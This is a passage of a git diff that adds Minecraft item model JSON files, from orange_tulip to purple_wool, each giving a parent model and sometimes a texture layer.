"minecraft:block/orange_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_tulip.json b/src/assets/minecraft/models/item/orange_tulip.json new file mode 100644 index 00000000..70ba2d3a --- /dev/null +++ b/src/assets/minecraft/models/item/orange_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/orange_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_wool.json b/src/assets/minecraft/models/item/orange_wool.json new file mode 100644 index 00000000..e7c54f33 --- /dev/null +++ b/src/assets/minecraft/models/item/orange_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/orange_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oxeye_daisy.json b/src/assets/minecraft/models/item/oxeye_daisy.json new file mode 100644 index 00000000..dc6eaab3 --- /dev/null +++ b/src/assets/minecraft/models/item/oxeye_daisy.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/oxeye_daisy" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/packed_ice.json b/src/assets/minecraft/models/item/packed_ice.json new file mode 100644 index 00000000..bada5d8e --- /dev/null +++ b/src/assets/minecraft/models/item/packed_ice.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/packed_ice" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/painting.json b/src/assets/minecraft/models/item/painting.json new file mode 100644 index 00000000..0222609b --- /dev/null +++ b/src/assets/minecraft/models/item/painting.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/painting" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/panda_spawn_egg.json b/src/assets/minecraft/models/item/panda_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/panda_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/paper.json b/src/assets/minecraft/models/item/paper.json new file mode 100644 index 00000000..5cfa9dd8 --- /dev/null +++ b/src/assets/minecraft/models/item/paper.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/paper" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/parrot_spawn_egg.json b/src/assets/minecraft/models/item/parrot_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/parrot_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/peony.json b/src/assets/minecraft/models/item/peony.json new file mode 100644 index 00000000..b87b076e --- /dev/null +++ b/src/assets/minecraft/models/item/peony.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/peony_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/petrified_oak_slab.json b/src/assets/minecraft/models/item/petrified_oak_slab.json new file mode 100644 index 00000000..36ecfd7c --- /dev/null +++ b/src/assets/minecraft/models/item/petrified_oak_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/petrified_oak_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/phantom_membrane.json b/src/assets/minecraft/models/item/phantom_membrane.json new file mode 100644 index 00000000..aa7891ce --- /dev/null +++ b/src/assets/minecraft/models/item/phantom_membrane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/phantom_membrane" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/phantom_spawn_egg.json b/src/assets/minecraft/models/item/phantom_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/phantom_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pig_spawn_egg.json b/src/assets/minecraft/models/item/pig_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/pig_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/piglin_banner_pattern.json b/src/assets/minecraft/models/item/piglin_banner_pattern.json new file mode 100644 index 00000000..e19d96c8 --- /dev/null +++ b/src/assets/minecraft/models/item/piglin_banner_pattern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/piglin_banner_pattern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/piglin_brute_spawn_egg.json b/src/assets/minecraft/models/item/piglin_brute_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/piglin_brute_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/piglin_spawn_egg.json b/src/assets/minecraft/models/item/piglin_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/piglin_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pillager_spawn_egg.json b/src/assets/minecraft/models/item/pillager_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/pillager_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_banner.json b/src/assets/minecraft/models/item/pink_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/pink_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_bed.json b/src/assets/minecraft/models/item/pink_bed.json new file mode 100644 index 00000000..7565d98f --- /dev/null +++ b/src/assets/minecraft/models/item/pink_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/pink_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_carpet.json b/src/assets/minecraft/models/item/pink_carpet.json new file mode 100644 index 00000000..b2709108 --- /dev/null +++ b/src/assets/minecraft/models/item/pink_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pink_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_concrete.json b/src/assets/minecraft/models/item/pink_concrete.json new file mode 100644 index 00000000..770e1feb --- /dev/null +++ b/src/assets/minecraft/models/item/pink_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pink_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_concrete_powder.json b/src/assets/minecraft/models/item/pink_concrete_powder.json new file mode 100644 index 00000000..29803f66 --- /dev/null +++ b/src/assets/minecraft/models/item/pink_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pink_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_dye.json b/src/assets/minecraft/models/item/pink_dye.json new file mode 100644 index 00000000..bf230ebc --- /dev/null +++ b/src/assets/minecraft/models/item/pink_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/pink_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_glazed_terracotta.json b/src/assets/minecraft/models/item/pink_glazed_terracotta.json new file mode 100644 index 00000000..c8ea2b25 --- /dev/null +++ b/src/assets/minecraft/models/item/pink_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pink_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_shulker_box.json b/src/assets/minecraft/models/item/pink_shulker_box.json new file mode 100644 index 00000000..e71465fe --- /dev/null +++ b/src/assets/minecraft/models/item/pink_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/pink_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_stained_glass.json b/src/assets/minecraft/models/item/pink_stained_glass.json new file mode 100644 index 00000000..b0bc8968 --- /dev/null +++ b/src/assets/minecraft/models/item/pink_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pink_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_stained_glass_pane.json b/src/assets/minecraft/models/item/pink_stained_glass_pane.json new file mode 100644 index 00000000..13681586 --- /dev/null +++ b/src/assets/minecraft/models/item/pink_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/pink_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_terracotta.json b/src/assets/minecraft/models/item/pink_terracotta.json new file mode 100644 index 00000000..2e558749 --- /dev/null +++ b/src/assets/minecraft/models/item/pink_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pink_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_tulip.json b/src/assets/minecraft/models/item/pink_tulip.json new file mode 100644 index 00000000..9d76762d --- /dev/null +++ b/src/assets/minecraft/models/item/pink_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/pink_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pink_wool.json b/src/assets/minecraft/models/item/pink_wool.json new file mode 100644 index 00000000..9f1e510f --- /dev/null +++ b/src/assets/minecraft/models/item/pink_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pink_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/piston.json b/src/assets/minecraft/models/item/piston.json new file mode 100644 index 00000000..669d1c40 --- /dev/null +++ b/src/assets/minecraft/models/item/piston.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/piston_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/player_head.json b/src/assets/minecraft/models/item/player_head.json new file mode 100644 index 00000000..364b6e65 --- /dev/null +++ b/src/assets/minecraft/models/item/player_head.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_skull" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/podzol.json b/src/assets/minecraft/models/item/podzol.json new file mode 100644 index 00000000..ec047498 --- /dev/null +++ b/src/assets/minecraft/models/item/podzol.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/podzol" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/poisonous_potato.json b/src/assets/minecraft/models/item/poisonous_potato.json new file mode 100644 index 00000000..f3577795 --- /dev/null +++ b/src/assets/minecraft/models/item/poisonous_potato.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/poisonous_potato" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polar_bear_spawn_egg.json b/src/assets/minecraft/models/item/polar_bear_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/polar_bear_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_andesite.json b/src/assets/minecraft/models/item/polished_andesite.json new file mode 100644 index 00000000..4968aa47 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_andesite.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_andesite" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_andesite_slab.json b/src/assets/minecraft/models/item/polished_andesite_slab.json new file mode 100644 index 00000000..dbaf20ca --- /dev/null +++ b/src/assets/minecraft/models/item/polished_andesite_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_andesite_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_andesite_stairs.json b/src/assets/minecraft/models/item/polished_andesite_stairs.json new file mode 100644 index 00000000..0695848c --- /dev/null +++ b/src/assets/minecraft/models/item/polished_andesite_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_andesite_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_basalt.json b/src/assets/minecraft/models/item/polished_basalt.json new file mode 100644 index 00000000..00d0a8ab --- /dev/null +++ b/src/assets/minecraft/models/item/polished_basalt.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_basalt" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone.json b/src/assets/minecraft/models/item/polished_blackstone.json new file mode 100644 index 00000000..b60255af --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_brick_slab.json b/src/assets/minecraft/models/item/polished_blackstone_brick_slab.json new file mode 100644 index 00000000..35a5786c --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_brick_stairs.json b/src/assets/minecraft/models/item/polished_blackstone_brick_stairs.json new file mode 100644 index 00000000..bfdf49c1 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_brick_wall.json b/src/assets/minecraft/models/item/polished_blackstone_brick_wall.json new file mode 100644 index 00000000..58262eed --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_brick_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_brick_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_bricks.json b/src/assets/minecraft/models/item/polished_blackstone_bricks.json new file mode 100644 index 00000000..2c7c6530 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_button.json b/src/assets/minecraft/models/item/polished_blackstone_button.json new file mode 100644 index 00000000..e815336b --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_pressure_plate.json b/src/assets/minecraft/models/item/polished_blackstone_pressure_plate.json new file mode 100644 index 00000000..766e8c66 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_slab.json b/src/assets/minecraft/models/item/polished_blackstone_slab.json new file mode 100644 index 00000000..ab598bb6 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_stairs.json b/src/assets/minecraft/models/item/polished_blackstone_stairs.json new file mode 100644 index 00000000..a21c5771 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_blackstone_wall.json b/src/assets/minecraft/models/item/polished_blackstone_wall.json new file mode 100644 index 00000000..23e2c0d4 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_blackstone_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_blackstone_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_diorite.json b/src/assets/minecraft/models/item/polished_diorite.json new file mode 100644 index 00000000..aed47750 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_diorite.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_diorite" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_diorite_slab.json b/src/assets/minecraft/models/item/polished_diorite_slab.json new file mode 100644 index 00000000..2fd79e18 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_diorite_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_diorite_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_diorite_stairs.json b/src/assets/minecraft/models/item/polished_diorite_stairs.json new file mode 100644 index 00000000..0ec5d5a6 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_diorite_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_diorite_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_granite.json b/src/assets/minecraft/models/item/polished_granite.json new file mode 100644 index 00000000..11ee51c4 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_granite.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_granite" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_granite_slab.json b/src/assets/minecraft/models/item/polished_granite_slab.json new file mode 100644 index 00000000..add758b6 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_granite_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_granite_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/polished_granite_stairs.json b/src/assets/minecraft/models/item/polished_granite_stairs.json new file mode 100644 index 00000000..083d71c8 --- /dev/null +++ b/src/assets/minecraft/models/item/polished_granite_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/polished_granite_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/popped_chorus_fruit.json b/src/assets/minecraft/models/item/popped_chorus_fruit.json new file mode 100644 index 00000000..b5357bde --- /dev/null +++ b/src/assets/minecraft/models/item/popped_chorus_fruit.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/popped_chorus_fruit" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/poppy.json b/src/assets/minecraft/models/item/poppy.json new file mode 100644 index 00000000..089cf3ed --- /dev/null +++ b/src/assets/minecraft/models/item/poppy.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/poppy" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/porkchop.json b/src/assets/minecraft/models/item/porkchop.json new file mode 100644 index 00000000..7de45731 --- /dev/null +++ b/src/assets/minecraft/models/item/porkchop.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/porkchop" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/potato.json b/src/assets/minecraft/models/item/potato.json new file mode 100644 index 00000000..3ba92381 --- /dev/null +++ b/src/assets/minecraft/models/item/potato.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/potato" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/potion.json b/src/assets/minecraft/models/item/potion.json new file mode 100644 index 00000000..73c2a578 --- /dev/null +++ b/src/assets/minecraft/models/item/potion.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/potion_overlay", + "layer1": "item/potion" + } +} diff --git a/src/assets/minecraft/models/item/powered_rail.json b/src/assets/minecraft/models/item/powered_rail.json new file mode 100644 index 00000000..ecaf13bf --- /dev/null +++ b/src/assets/minecraft/models/item/powered_rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/powered_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine.json b/src/assets/minecraft/models/item/prismarine.json new file mode 100644 index 00000000..052a4159 --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/prismarine" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_brick_slab.json b/src/assets/minecraft/models/item/prismarine_brick_slab.json new file mode 100644 index 00000000..905e4429 --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/prismarine_brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_brick_stairs.json b/src/assets/minecraft/models/item/prismarine_brick_stairs.json new file mode 100644 index 00000000..e5f6c0f4 --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/prismarine_brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_bricks.json b/src/assets/minecraft/models/item/prismarine_bricks.json new file mode 100644 index 00000000..dfe1634f --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/prismarine_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_crystals.json b/src/assets/minecraft/models/item/prismarine_crystals.json new file mode 100644 index 00000000..6883eebe --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_crystals.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/prismarine_crystals" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_shard.json b/src/assets/minecraft/models/item/prismarine_shard.json new file mode 100644 index 00000000..7b533d3f --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_shard.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/prismarine_shard" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_slab.json b/src/assets/minecraft/models/item/prismarine_slab.json new file mode 100644 index 00000000..9894ef18 --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/prismarine_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_stairs.json b/src/assets/minecraft/models/item/prismarine_stairs.json new file mode 100644 index 00000000..356abf59 --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/prismarine_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/prismarine_wall.json b/src/assets/minecraft/models/item/prismarine_wall.json new file mode 100644 index 00000000..16dec992 --- /dev/null +++ b/src/assets/minecraft/models/item/prismarine_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/prismarine_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pufferfish.json b/src/assets/minecraft/models/item/pufferfish.json new file mode 100644 index 00000000..11ebd219 --- /dev/null +++ b/src/assets/minecraft/models/item/pufferfish.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/pufferfish" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pufferfish_bucket.json b/src/assets/minecraft/models/item/pufferfish_bucket.json new file mode 100644 index 00000000..b5abbd8f --- /dev/null +++ b/src/assets/minecraft/models/item/pufferfish_bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/pufferfish_bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pufferfish_spawn_egg.json b/src/assets/minecraft/models/item/pufferfish_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/pufferfish_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pumpkin.json b/src/assets/minecraft/models/item/pumpkin.json new file mode 100644 index 00000000..f725b476 --- /dev/null +++ b/src/assets/minecraft/models/item/pumpkin.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/pumpkin" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pumpkin_pie.json b/src/assets/minecraft/models/item/pumpkin_pie.json new file mode 100644 index 00000000..72ba77d5 --- /dev/null +++ b/src/assets/minecraft/models/item/pumpkin_pie.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/pumpkin_pie" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/pumpkin_seeds.json b/src/assets/minecraft/models/item/pumpkin_seeds.json new file mode 100644 index 00000000..bd203f06 --- /dev/null +++ b/src/assets/minecraft/models/item/pumpkin_seeds.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/pumpkin_seeds" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_banner.json b/src/assets/minecraft/models/item/purple_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/purple_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_bed.json b/src/assets/minecraft/models/item/purple_bed.json new file mode 100644 index 00000000..606fae8c --- /dev/null +++ b/src/assets/minecraft/models/item/purple_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/purple_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_carpet.json b/src/assets/minecraft/models/item/purple_carpet.json new file mode 100644 index 00000000..94ffd9f4 --- /dev/null +++ b/src/assets/minecraft/models/item/purple_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purple_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_concrete.json b/src/assets/minecraft/models/item/purple_concrete.json new file mode 100644 index 00000000..437f58fc --- /dev/null +++ b/src/assets/minecraft/models/item/purple_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purple_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_concrete_powder.json b/src/assets/minecraft/models/item/purple_concrete_powder.json new file mode 100644 index 00000000..77dba432 --- /dev/null +++ b/src/assets/minecraft/models/item/purple_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purple_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_dye.json b/src/assets/minecraft/models/item/purple_dye.json new file mode 100644 index 00000000..a4082d10 --- /dev/null +++ b/src/assets/minecraft/models/item/purple_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/purple_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_glazed_terracotta.json b/src/assets/minecraft/models/item/purple_glazed_terracotta.json new file mode 100644 index 00000000..be42ab1a --- /dev/null +++ b/src/assets/minecraft/models/item/purple_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purple_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_shulker_box.json b/src/assets/minecraft/models/item/purple_shulker_box.json new file mode 100644 index 00000000..8521d10f --- /dev/null +++ b/src/assets/minecraft/models/item/purple_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/purple_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_stained_glass.json b/src/assets/minecraft/models/item/purple_stained_glass.json new file mode 100644 index 00000000..cf2ee673 --- /dev/null +++ b/src/assets/minecraft/models/item/purple_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purple_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_stained_glass_pane.json b/src/assets/minecraft/models/item/purple_stained_glass_pane.json new file mode 100644 index 00000000..646a69b9 --- /dev/null +++ b/src/assets/minecraft/models/item/purple_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/purple_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_terracotta.json b/src/assets/minecraft/models/item/purple_terracotta.json new file mode 100644 index 00000000..a69670d8 --- /dev/null +++ b/src/assets/minecraft/models/item/purple_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purple_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purple_wool.json b/src/assets/minecraft/models/item/purple_wool.json new file mode 100644 index 00000000..71160d26 --- /dev/null +++ 